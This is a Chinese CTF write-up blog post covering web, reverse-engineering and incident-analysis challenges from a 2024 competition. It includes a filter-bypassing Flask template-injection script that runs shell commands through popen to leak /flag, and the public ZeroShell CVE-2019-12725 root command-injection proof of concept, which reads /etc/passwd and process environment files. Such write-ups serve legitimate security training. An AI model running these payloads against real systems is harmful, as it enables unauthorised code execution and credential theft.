2024国赛_长城杯

luyanpei

比赛信息

题目状态

状态简写 状态 状态说明
W Wait 没有人做这道题,你可以开始尝试
A Active 有人正在做这道题,你可以跟他进行交流
S Stuck 题目做到一半思路卡壳
F Finished 完成该题
F1 Finish & First Blood 完成并获得一血
F2 Finish & Second Blood 完成并获得二血
F3 Finish & Third Blood 完成并获得三血
FW Finish & Lack WP 完成并缺少 WP

Web

hello_web

图片

Safe_Proxy

这是一个 Flask 应用及其与反向代理的结合体

图片

通过测试,发现{{()|attr('_class_')|attr('_mro_')|attr('_getitem_')(1)|attr('_subclasses_')()}}可以注入成功,然后就可以利用这一串来构造

紧接着发现popen被过滤,给popen字符进行分割,"popen" -> "'po''pen'"

"__" -> "_''_"

接着分析,可以通过服务端响应时间来进行时间盲注,构造如下的时间盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104

import requests

import string

import time


# 定义目标 URL 和 flag 初始值

url = "http://39.106.48.123:16512"

flag = ""


# 模板注入的固定部分

template_prefix = (

"{{()|attr('_''_class_''_')|attr('_''_mro_''_')|attr('_''_getitem_''_')(1)"

"|attr('_''_subclasses_''_')()|attr('_''_getitem_''_')(133)" "|attr('_''_init_''_')|attr('_''_globals_''_')|attr('_''_getitem_''_')" "('po''pen')('")

template_suffix = "')|attr('re''ad')()}}"


# 可打印字符集,用于 flag 字符猜测

charset = string.ascii_letters + string.digits + string.punctuation


# 超时阈值,控制 sleep 响应时间

TIME_THRESHOLD = 1.5


# 循环每个字符,逐步构造 flagfor i in range(1, 51): # 假设 flag 长度不超过 50 字节

while True: # 循环尝试当前字节,直到找到匹配的字符

matched = False # 标志位,记录是否找到匹配字符

for char in charset:

# 生成动态测试命令

part2 = f"[ \"$(head -c {i} /flag | tail -c 1)\" = \"{char}\" ] && sleep 2"

# 构造完整的注入代码

payload = {"code": template_prefix + part2 + template_suffix}


# 测试前记录时间

start_time = time.time()


# 发送请求

try:

requests.post(url, data=payload, timeout=3)

except requests.exceptions.RequestException:

# 网络异常时继续尝试

continue


# 测试后记录时间

elapsed_time = time.time() - start_time


# 判断响应时间是否符合条件

if elapsed_time > TIME_THRESHOLD:

flag += char

print(f"Found character: {char} | Current flag: {flag}")

matched = True # 标记当前字节找到匹配字符

break


# 如果找到匹配字符,跳出 while 循环,开始下一字节的猜测

if matched:

break

else:

# 如果没有匹配字符,重复本轮

print(f"No matching character found for position {i}. Retrying...")


print(f"Final flag: {flag}")

执行成功,获得flag

图片

Re

ezCsky

rc4+xor

flag{d0f5b330-9a74-11ef-9afd-acde48001122}

elf32

图片
ida打开,发现架构是ELF for Motorola M*Core (Executable)[elf64.dll]

ida9也没有这个架构

但是我们可以选择arm架构

图片
反编译不完全

但能看到 check + xor function 并且看到strings flag处有着一大段data正好42位

很显然就是密文

图片
968FB8085DA76844F2649264427A78E6EAC278B8639E5B3DD9283FC87306EE6B8D0C4BA323AECA40EDD1

同样flag处敏感字符串

图片
密钥是 testkey

加密是rc4

发现swap()、rc4_init() 、 rc4_crtpt() 特征函数

图片
还有xor

图片
图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
enc = [
0x0a, 0x0d, 0x06, 0x1c, 0x1f, 0x54, 0x56, 0x53, 0x57, 0x51, 0x00, 0x03, 0x1d, 0x14, 0x58, 0x56, 0x03, 0x19, 0x1c,
0x00, 0x54, 0x03, 0x4b, 0x14, 0x58, 0x07, 0x02, 0x49, 0x4c, 0x02, 0x07, 0x01, 0x51, 0x0c, 0x08, 0x00, 0x01, 0x00,
0x03, 0x00, 0x4f, 0x7d
]


# 从后向前依次异或
for i in range(40, -1, -1):
  cur = enc[i]
  nxt = enc[i + 1]
  enc[i] = nxt ^ cur




decoded = ''.join(chr(c) for c in enc)
print(decoded)
#flag{d0f5b330-9a74-11ef-9afd-acde48001122}

dump

附件给了个exe和flag

运行没东西

图片
然后带上参数就可以运行了

图片
发现输出的东西会和给出的flag文件比较

flag

正好对应上了23291e24

图片
多次测试

图片
图片
所以我们可以写一个爆破脚本来爆破flag

题目提示flag len为22

掏出chatgpt,先给出个示范脚本跑起来,然后再调试,修改脚本

首先思路先1位1位的爆破,爆破1位,对比flag字节

比如说flag{ 之后就是0e

图片
发现可行

图片
依次测试

图片
优化后,一次可以找到6位

如下

图片
从而得出最后答案

图片
flag{MTczMDc4MzQ2Ng==}

flag{MTczMDc0MzQ2Ng==}

发现最后答案是4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
import subprocess
import string




def try_flag(flag):
    # 使用 subprocess 调用 re.exe,并捕获输出
    result = subprocess.run(['re.exe', f'{flag}'], capture_output=True, text=True)
    return result.stdout.strip()  # 返回输出




def brute_force():
    # 创建字符集,假设 flag 是由字母和数字组成的
    characters = string.ascii_lowercase + string.ascii_uppercase + string.digits


    # 初始化找到的部分 flag
    partial_flag = "flag{MTczMDc"


    for i in range(len(characters)):  # 外层循环
        current_flag = partial_flag + characters[i]  # 构造当前 flag
        output = try_flag(current_flag)


        if output[24:26].encode() == b'00':  # 检查输出条件
            print(f'Found correct character: {characters[i]}')
            partial_flag += characters[i]  # 更新已找到的部分 flag
            print(f'Partial flag updated to: {partial_flag}')
            break  # 找到正确的字符后停止外层循环


    # 如果需要继续寻找下一个字符,可以在这里添加嵌套循环
    for j in range(len(characters)):  # 内层循环
        current_flag = partial_flag + characters[j]  # 基于更新的 partial_flag 构造新的 flag
        output = try_flag(current_flag)


        if output[26:28].encode() == b'0e':  # 检查下一个条件(根据规律调整字节匹配)
            print(f'Found next correct character: {characters[j]}')
            partial_flag += characters[j]  # 继续更新 partial_flag
            print(f'Final flag: {partial_flag}')
            break  # 找到下一个正确字符后停止
# 如果需要继续寻找下一个字符,可以在这里添加嵌套循环
    for k in range(len(characters)):  # 内层循环
        current_flag = partial_flag + characters[k]  # 基于更新的 partial_flag 构造新的 flag
        output = try_flag(current_flag)


        if output[28:30].encode() == b'37':  # 检查下一个条件(根据规律调整字节匹配)
            print(f'Found next correct character: {characters[j]}')
            partial_flag += characters[k]  # 继续更新 partial_flag
            print(f'Final flag: {partial_flag}')
            break  # 找到下一个正确字符后停止
        # 如果需要继续寻找下一个字符,可以在这里添加嵌套循环
    for l in range(len(characters)):  # 内层循环
        current_flag = partial_flag + characters[l]  # 基于更新的 partial_flag 构造新的 flag
        output = try_flag(current_flag)


        if output[30:32].encode() == b'12':  # 检查下一个条件(根据规律调整字节匹配)
            print(f'Found next correct character: {characters[l]}')
            partial_flag += characters[l]  # 继续更新 partial_flag
            print(f'Final flag: {partial_flag}')
            break  # 找到下一个正确字符后停止
    for ll in range(len(characters)):  # 内层循环
        current_flag = partial_flag + characters[ll]  # 基于更新的 partial_flag 构造新的 flag
        output = try_flag(current_flag)


        if output[32:34].encode() == b'1d':  # 检查下一个条件(根据规律调整字节匹配)
            print(f'Found next correct character: {characters[ll]}')
            partial_flag += characters[ll]  # 继续更新 partial_flag
            print(f'Final flag: {partial_flag}')
            break  # 找到下一个正确字符后停止    
    for lll in range(len(characters)):  # 内层循环
        current_flag = partial_flag + characters[lll]  # 基于更新的 partial_flag 构造新的 flag
        output = try_flag(current_flag)


        if output[34:36].encode() == b'0f':  # 检查下一个条件(根据规律调整字节匹配)
            print(f'Found next correct character: {characters[lll]}')
            partial_flag += characters[lll]  # 继续更新 partial_flag
            print(f'Final flag: {partial_flag}')
            break  # 找到下一个正确字符后停止
# 启动爆破
brute_force()


Misc

pwn

威胁分析

zeroshell_1

1

图片

2

用r-studio直接看vmdk文件

图片

3

wireshark抓vmware net8网卡的包

图片

4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# CVE-2019-12725 - ZeroShell 3.9.0 and below Remote Command Execution as Root (PoC)
# Discovered by: Juan Manuel Fernandez (@TheXC3LL)


import requests
import sys




target = "http://61.139.2.100/"
payload = "/etc/sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='netstat -anp'"
poc = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0a" + payload + "%0a'"


# Vuln too: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type='%0acat /etc/passwd%0a'
# And: /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat /etc/passwd%0a'&PW=
# It the same vuln that https://www.exploit-db.com/exploits/41040 but bypassing the fix using %0a


req = requests.get(target + poc)
index = req.text.rfind("<html>") // 2
print(req.text[:index])


netstat -anp 轮询下获取

根据pid查进程

次数用完了 damn

/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20–checkpoint=1%20–checkpoint-action=exec=%27cat%20/proc/10657/environ%27%0A%27

木马是 .nginx

然后把.nginx下载下来

5、

直接strings找到奇怪的字符串

11223344qweasdzxc

6

读木马的proc下的 environ

flag{/var/register/system/startup/scripts/nat/File}

WinFT

1

图片

查看本地dns缓存

图片

2

打开计划任务管理器

图片

图片

5

wireshark导出所有http对象,

有个server,后面加个zip后缀,hex为有个字符串,base64解密拿到zip的密码

图片

  • Title: 2024国赛_长城杯
  • Author: luyanpei
  • Created at : 2025-04-15 13:07:05
  • Updated at : 2025-04-20 13:27:54
  • Link: https://redefine.ohevan.com/2025/04/15/2024国赛_长城杯/
  • License: All Rights Reserved © luyanpei